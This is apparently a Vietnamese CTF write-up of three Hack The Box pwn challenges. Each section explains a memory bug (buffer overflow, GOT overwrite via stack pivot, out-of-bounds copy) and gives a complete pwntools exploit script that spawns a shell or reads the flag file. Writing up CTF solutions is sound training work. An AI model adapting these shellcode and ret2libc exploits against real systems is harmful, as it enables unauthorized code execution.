# Hack The Box - Business CTF 2024
# Regularity
* **check file + checksec + IDA**


- **IDA**
**`_start`**

**`read`**

* **BUG:**
- lỗi buffer overflow: `read()` edx=0x110 trong khi chỉ set phần buffer nhập vào 0x100 byte
- NX disable: cho phép thực thi shellcode -> ret2shellcode
- Dừng ở ret ở hàm read():


* **Khai thác:**
- Tận dụng lỗi bof để overwrite saved rip của read thành `call/jump` rsi.
- Công cụ rop gadget:

* **Script:**
```
#!/usr/bin/env python3
from pwn import *
def s(p,data):
p.send(data)
def sl(p,data):
p.sendline(data)
def sla(p,msg,data):
p.sendlineafter(msg,data)
def sa(p,msg,data):
p.sendafter(msg,data)
def rl(p):
l=p.recvline()
return l
def ru(p,msg):
l=p.recvuntil(msg)
return l
def r(p,size):
l=p.recv(size)
return l
def intFromByte(p,size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output,16)
return leak
def GDB(p):
gdb.attach(p,gdbscript='''
b*0x000000000040101e
c
''')
input()
def main():
context.binary = exe = ELF("./regularity", checksec=False)
# libc = ELF("./",checksec=False)
# ld = ELF("./",checksec=False)
p = process(exe.path)
# p=remote('94.237.63.135',35980)
GDB(p)
shellcode = asm(shellcraft.sh())
shellcode =shellcode.ljust(256,b'\x00') +p64(0x0000000000401041)
sla(p,b'these days?\n',shellcode)
p.interactive()
if __name__ == "__main__":
main()
# HTB{juMp1nG_w1tH_tH3_r3gIsT3rS?_e89a82a9a29cce817529e60b130d6587}
```
# no_gadget
* **check file + checksec + IDA**


- **IDA**
**`main`**

* **BUG:**
- lỗi **`buffer overflow`**: mảng **`buf[128]`** nhưng **`fgets()`** cho phép nhập `0x1337` byte.
- **`main`** có check size bằng **`strlen()`** nhưng hàm này chỉ đếm byte trước byte `NULL` nên hoàn toàn có thể **`bypass`** chỗ này.
* **Khai thác:**
- Chương trình không có **`system`**, lại cho **`file libc:`** có thể là **`ret2libc`** và để sử kĩ thuật cần 2 cv
- leak địa chỉ **`libc base`**.
- thực thi hàm **`system`** trong libc.
- Tận dụng lỗi **`BOF`** để overwrite **`saved rip`** của main() -> Kĩ thuật **`rop chain`**
- Tuy nhiên, như tên thì challenge không có những gadget thường gặp như **`pop rdi`** để leak libc, hay lấy shell.
- Nhưng chúng ta có **`pop rbp`**:

-> Từ gadget này chúng ta có thể dùng kĩ thuật **`pivot`** + **`BOF`** để tiếp tục ghi vào **`1 vị trí khác`**.
- Đọc mã ASM của main:

-> Để **`leak libc`** chúng ta sẽ cần điều khiển được nội dung in ra nhưng ở đây challenge lại kiểm soát bằng **`rip`** chứ không phải **`rbp`**(mà rip thì no hope cmnr)
- Tuy nhiên, chúng ta vẫn còn 1 chút niềm tin bám víu vào hàm **`fgets`** và **`strlen`** có kiểm soát đối số bằng **`rbp`** và điều tuyệt hơn là **`Relro:Partial`**(điều này có nghĩa là có thể overwrite **`GOT`**)
- Vậy quyết định sẽ sử dụng **`strlen()`** để leak libc bằng cách overwrite GOT thành **`call puts`**
- Ở đây chúng ta sẽ overwrite GOT của **`strlen()`** -> **`0x0000000000401251`** để khi call **`strlen()`** sẽ nhảy đến đó và cũng nhằm mục đích sử dụng lệnh call **`exit(`**) để loop vị trí call **`fgets`** từ đó đưa payload tiếp theo.
- Tiếp theo, là sẽ **`pivot`** vào vị trí nào: Với mục tiệu overwrite **`GOT`** vì vậy chúng ta sẽ overwrite từ vị trí **`GOT`** của puts bởi vì địa chỉ libc của puts sẽ được đưa vào **`GOT puts`** khi puts được gọi và chúng ta có thể leak nó.
- Cuối cùng overwrite **`GOT exit()`** -> **`0x000000000040121b`** (vị trị call fgets)

=> Vậy là leak được libc.
- Sau khi có **`libc base`**, chương trình sẽ loop lại fgets , chúng ta sẽ overwrite got puts thành sring **`"/bin/sh"`** để làm đối số, còn GOT **`strlen()->system()`**
* **Script:**
```
#!/usr/bin/env python3
from pwn import *
def s(p,data):
p.send(data)
def sl(p,data):
p.sendline(data)
def sla(p,msg,data):
p.sendlineafter(msg,data)
def sa(p,msg,data):
p.sendafter(msg,data)
def rl(p):
l=p.recvline()
return l
def ru(p,msg):
l=p.recvuntil(msg)
return l
def r(p,size):
l=p.recv(size)
return l
def intFromByte(p,size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output,16)
return leak
def GDB(p):
gdb.attach(p,gdbscript='''
b*main+158
c
''')
input()
def main():
context.binary = exe = ELF("./no_gadgets",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
ld = ELF("./ld-2.35.so",checksec=False)
# p = process(exe.path)
# GDB(p)
p = remote('94.237.63.100',45155)
##################### change read-write location part 1 ###################
rw=0x404000
gets=0x000000000040121b
payload=b'\x00'*128+p64(rw+0x80)+p64(gets)
sla(p,b'Data: ',payload)
puts=0x0000000000401251
payload = p64(0x401036)+p64(puts)+p64(0x401056)+p64(0x401066)+p64(0x401076)+p64(gets)
sl(p,payload)
ru(p,b'\x0a')
leak = intFromByte(p,6)
print("leak:",hex(leak))
libc.address=leak-(0x7f5c36480ed0-0x00007f5c36400000)
print("libc:",hex(libc.address))
binsh='/bin/sh\x00'.encode()
system =libc.address+0x0000000000050d60
payload = binsh+p64(system)+p64(0x401056)+p64(0x401066)+p64(0x401076)+p64(gets)
sl(p,payload)
p.interactive()
if __name__ == "__main__":
main()
# HTB{wh0_n3eD5_rD1_wH3n_Y0u_h@v3_rBp!!!_9fa80d7e403478d67531cbbb8eab9925}
```
# abyss
* **check file + checksec + IDA**


- **source code**
* **BUG:**
- Cách chương trình hoạt động:
- Sau khi vào hàm **`cmd_login`**: **`read(buf,512)`** để nhập user, password với format sau:
`USER [user muốn đăng nhập]`
`PASS [password muốn đăng nhập]`
-> Sau đó copy user,pass vào 2 chuỗi buffer **`user[]`**, **`pass[]`**
- Sau đó cách hàm này copy chính là vấn đề lớn:


- Hàm này copy bằng cách: Copy toàn bộ chuỗi phía trước byte **`NULL`**, nhìn thoáng qua nó hoàn toàn ổn vì ban đầu đã đưa các byte trong buffer về NULL tuy nhiên lại cho phép người dùng nhập bằng hàm **`read()`** ( hàm này hoàn toàn không bắt buộc thêm NULL byte để kết thúc buffer ) và hoàn toàn **`pass[]`** có thể copy **`user[]`** => Lỗi **`out-of-bound`** + **`buffer overflow`**
* **Khai thác:**
- Tận dụng lỗi OOB để copy buffer thuộc user[] vào phần buffer nằm ngoài pass[]
- Phần buffer bị OOB có chứa địa chỉ saved rip của cmd_login: overwrite saved rip
- Hàm cmd_read: 
-> Cho phép đọc file có tên do người dùng nhập vào.
* **Script:**
```
#!/usr/bin/env python3
from pwn import *
def s(p,data):
p.send(data)
def sl(p,data):
p.sendline(data)
def sla(p,msg,data):
p.sendlineafter(msg,data)
def sa(p,msg,data):
p.sendafter(msg,data)
def rl(p):
l=p.recvline()
return l
def ru(p,msg):
l=p.recvuntil(msg)
return l
def r(p,size):
l=p.recv(size)
return l
def intFromByte(p,size):
o = p.recv(size)[::-1].hex()
output = '0x' + o
leak = int(output,16)
return leak
def GDB(p):
gdb.attach(p,gdbscript='''
b*0x0000000000401331
b*0x00000000004013C1
b*0x00000000004013DA
b*0x0000000000401462
c
''')
input()
def main():
context.binary = exe = ELF("./abyss", checksec=False)
# libc = ELF("./",checksec=False)
# ld = ELF("./",checksec=False)
p = process(exe.path)
# GDB(p)
s(p,p32(0x00))
payload1=b"USER " + b"AAAAAAAAAAAAAAAAA\x1cAAAAAAAAAAA" + p32(0x00000000004014eb)
s(p,payload1)
payload2=b'PASS ' +b'a'*(512-5)
s(p,payload2)
s(p,b'flag.txt')
p.interactive()
if __name__ == "__main__":
main()
# HTB{sH0u1D_h4v3-NU11-t3rmIn4tEd_buf!}
```